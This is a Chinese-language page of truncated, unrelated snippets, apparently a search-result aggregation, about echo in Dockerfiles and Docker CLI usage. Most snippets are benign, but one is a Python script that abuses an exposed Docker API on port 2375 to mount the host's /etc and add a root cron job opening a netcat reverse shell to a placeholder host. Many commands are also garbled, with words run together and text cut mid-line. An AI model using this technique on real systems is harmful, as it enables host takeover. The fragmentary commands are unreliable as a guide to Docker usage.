Dockerfile中echo不加-e参数可以直接输出转义字符
在 Dockerfile 中,我们可以使用RUN指令来执行命令。 下面是一个使用echo命令的示例 Dockerfile: FROMubuntuRUNecho"Hello, Docker!"> output.txt 1. 2. 3. 上述Dockerfile 使用了FROM指令来指定基础镜像为ubuntu。然后,使用RUN指令执行echo命令,并将输出重定向到output.txt文件中。 要构建镜像,可以使用以下命令: ...
import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp...
FROMdocker.elastic.co/elasticsearch/elasticsearch:7.4.0#作者MAINTAINERGongLJRUNsh-c'/bin/echo -e "y" | /usr/share/elasticsearch/bin/elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v7.4.0/elasticsearch-analysis-ik-7.4.0.zip' 单机启动,测试Dockerfile...
$ dockerd --validate --config-file=/tmp/valid-config.json configuration OK $ echo $? 0 $ dockerd --validate --config-file /tmp/invalid-config.json unable to configure the Docker daemon with file /tmp/invalid-config.json: the following directives don't match any configuration option: unkno...
//get.docker.com|bash-s docker--mirror Aliyun sudo echo'{"registry-mirrors":["https://alzgoonw.mirror.aliyuncs.com"]}'>/etc/docker/daemon.jsonsystemctl restart docker&&systemctl status dockerecho-e'\n\n###\n\n恭喜你,Docker安装完成,即...
mkdir /storage/dev/soft/kaniko/demo3 echo -e 'FROM alpine \nRUN echo "created from standard input"' > Dockerfile | tar -cf - Dockerfile | gzip -9 | docker run \ --interactive -v /storage/dev/soft/kaniko/demo3:/workspace -v $HOME/.docker/:/kaniko/.docker \ registry.cn-hangzhou...
$echoexportDOCKER_CONFIG=$HOME/newdir/.docker > ~/.profile Docker CLI configuration file (config.json) properties Use the Docker CLI configuration to customize settings for thedockerCLI. The configuration file uses JSON formatting, and properties: ...
echo "test" | docker run -i -a stdin ubuntu cat - 这将数据传送到容器,并通过仅连接到容器的STDIN来打印出容器的ID。 docker run -a stderr ubuntu echo test 这不会将任何内容打印到控制台,除非有错误发生,因为输出仅连接到容器的STDERR。容器的日志仍然存储写入STDERR和STDOUT的内容。 cat somefile |...